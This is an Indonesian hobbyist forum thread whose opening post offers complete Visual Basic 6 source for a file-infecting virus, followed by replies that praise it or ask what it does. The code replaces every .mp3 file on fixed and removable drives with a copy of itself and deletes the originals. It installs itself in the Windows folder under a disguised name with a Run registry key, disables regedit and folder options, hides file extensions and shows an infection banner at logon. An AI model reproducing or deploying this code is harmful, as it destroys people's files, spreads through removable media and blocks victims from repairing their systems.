Cahaya yang menyinari forum [COMICK, MUSIC, GAME, ANIME & COMPUTER] @ Hikari-Community [at] dal.net
 
HomePortalFAQSearchMemberlistUsergroupsRegisterLog in

Share | 
 

 Bikin virus yukkk

View previous topic View next topic Go down 
AuthorMessage
Mr.C
Hikari Newbie
Hikari Newbie


Jumlah posting : 19
Reputation : 0
Join date : 2008-06-01

PostSubject: Bikin virus yukkk   Wed Jul 30, 2008 3:17 am

jalankan visual basic 6 anda..

buat 1 module dan paste-kan code dibawah ini...

Code:

Option Explicit

'buat nyari drive
Private Declare Function GetDriveType Lib "kernel32" _
Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private sDrives() As String

'buat nyari file
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type


Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long


Private pbMessage As Boolean

'Deklarasi copy ke windows
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'Deklarasi copy ke windows
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long

'Sub PeNangkap Hardisk
Sub cari()
Dim ictr As Integer

'If InStr(cboDrives.Text, "All Hard Drives") > 0 Then
For ictr = 0 To UBound(sDrives)
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
GetFiles sDrives(ictr), True, "*.mp3"
Next
'Else
'////taruh di sini untuk mencari file virus yang ingin ditangkap, kalau disini saya menangkap file .doc
' frmMain.GetFiles cboDrives.Text, True, "*.doc"
'End If

' frmMain.Visible = True



End Sub

Sub hardisk()
Dim ictr As Integer
Dim iDriveCount As Integer
Dim sAllDrives As String
Dim sDrive As String
ReDim sDrives(0) As String

For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) = "Fixed Drive" Or DriveType(sDrive) = "Removable Drive" Then
If sAllDrives <> "" Then sAllDrives = sAllDrives & ", "
sAllDrives = sAllDrives & sDrive
iDriveCount = iDriveCount + 1
End If
Next

'If iDriveCount > 1 Then
' sAllDrives = "All Hard Drives (" & sAllDrives & ")"
' cboDrives.AddItem sAllDrives
'End If

'cboDrives.ListIndex = 0
'EnableSearch



End Sub

Private Function DriveType(Drive As String) As String

Dim sAns As String, lAns As Long

'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"

lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select

DriveType = sAns

End Function
'//////////////////////////////////////////////////////////////////////

'//////////////////////////////Sub perangkap File/////////////////////
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

'Screen.MousePointer = vbHourglass

'Dim li As ListItem
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
Dim bawa As Long

fPath = AddBackslash(Path)

Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern


hFile = FindFirstFile(fName, WFD)

On Error Resume Next
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If

If hFile > 0 Then
While FindNextFile(hFile, WFD)
'///////taruh di bagian ini untuk melakukan tindakan apa setelah file virus ditemukan/////
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
'Set li = lvFiles.ListItems.Add(, , fPath & StripNulls(WFD.cFileName))
'MsgBox fPath & StripNulls(WFD.cFileName)
'//////mengeset atribut file .doc menjadi atribut archive atau biasa
bawa = SetFileAttributes(fPath & StripNulls(WFD.cFileName), 0)
FileCopy App.Path & "\" & App.EXEName & ".exe", fPath & StripNulls(WFD.cFileName) & ".exe"
DeleteFile fPath & StripNulls(WFD.cFileName)
End If
Wend
End If

If SubFolder Then


hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then

GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If

While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then


GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend

End If
FindClose hFile
'Set li = Nothing



'Screen.MousePointer = vbDefault

End Sub


Private Function StripNulls(f As String) As String

StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String

If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function

'////////////////////////////////////////////////////////////////////

Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\winamp.dll.exe"
End Sub

'//////////////////Kode Pertahanan////////
Public Sub CreateKey(Folder As String, Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value

End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"

End Sub
'/////////////////////////////////////////

'//////////////////MAIN///////////////////
Sub Main()
Dim titik As String
titik = """"

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ServiceOptionMP3", _
titik & "c:\windows\winamp.dll.exe" & titik
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1"
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "STOP PIRACY!!!!"
CreateKey "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText", "YOUR COMPUTER HAS BEEN INFECTED BY Mr.C VIRUS!!!"
Shell "taskkill /f /im winamp.exe", vbHide
hardisk
cari
kopikewindows
End Sub
'/////////////////////////////////////////

thx to: echonono
Back to top Go down
View user profile
ea_ngel
Hikari Master
Hikari Master


Jumlah posting : 657
Reputation : 2
Join date : 2008-04-18

Status
Race: Undead
Class: Magician

PostSubject: Re: Bikin virus yukkk   Tue Aug 19, 2008 12:14 pm

kayaknya ni virus klo da di compile, pasti da kenal ama antivirusnya ya,,

Btw, thanks Mr.C atas partisipasinya


Last edited by EA Ngel on Tue Aug 19, 2008 9:43 pm; edited 1 time in total
Back to top Go down
View user profile
M364TR0N
Hikari Addict
Hikari Addict


Jumlah posting : 106
Reputation : 0
Join date : 2008-05-17

PostSubject: Re: Bikin virus yukkk   Tue Aug 19, 2008 8:58 pm

wedew...kk Mr.C jago bgt ya soal virus..
blh dunk kapanē PM..
hehehehhee.. Razz

_________________
Back to top Go down
View user profile http://profiles.friendster.com/56783059
Arek Nekat
Hikari Newbie
Hikari Newbie


Jumlah posting : 12
Reputation : 0
Join date : 2008-09-27
Age : 71
Lokasi : Kota JANCOK

PostSubject: Re: Bikin virus yukkk   Mon Dec 29, 2008 10:31 pm

Tu virus nyerang apaan neh?


Question Question Question
Back to top Go down
View user profile
diansari
Hikari Old
Hikari Old


Jumlah posting : 359
Reputation : 0
Join date : 2008-06-24
Age : 28
Lokasi : _gak ada tempat_

Status
Race: Baby
Class: Newbie

PostSubject: Re: Bikin virus yukkk   Tue Feb 17, 2009 7:54 am

bang,
nyari visual basicnya dimana Very Happy
makasih Wink

_________________
Back to top Go down
View user profile http://hikari-community.darkbb.com
exnome
Hikari Senior
Hikari Senior


Jumlah posting : 181
Reputation : 0
Join date : 2008-05-14
Age : 31
Lokasi : Belakang Proxy

Status
Race: Undead
Class: Swordman

PostSubject: Re: Bikin virus yukkk   Sun Feb 22, 2009 10:16 pm

wew ..mntap ...nice share om .... tuh efeknya apa?

Razz Razz
Back to top Go down
View user profile
Cruz3N
Hikari Newbie
Hikari Newbie


Jumlah posting : 4
Reputation : 0
Join date : 2008-08-27

PostSubject: Re: Bikin virus yukkk   Thu Mar 12, 2009 4:21 am

Keren banget uyyy..
Efeknya apaan Bro?
Back to top Go down
View user profile
jecky
Hikari Newbie
Hikari Newbie


Jumlah posting : 11
Reputation : 0
Join date : 2009-02-06

PostSubject: Re: Bikin virus yukkk   Tue Mar 24, 2009 10:27 am

keren omm
Back to top Go down
View user profile
Sponsored content




PostSubject: Re: Bikin virus yukkk   Today at 9:53 pm

Back to top Go down
 
Bikin virus yukkk
View previous topic View next topic Back to top 
Page 1 of 1
 Similar topics
-
» Tidur Tanpa Pakai Bra Bisa Bikin Payudara Cepat Kendur?
» Kenapa Kesepian Bisa Bikin Gemuk
» Olahraga di Malam Hari Bikin Sulit Tidur?
» Virus yang lagi Hangat
» Jatuh Cinta Bikin Orang Tidak Nafsu Makan?

Permissions in this forum:You cannot reply to topics in this forum
Hikari Community :: Komputer :: Malicious Code [Malware, Virus, Hijack, Spyware dll]-
Jump to: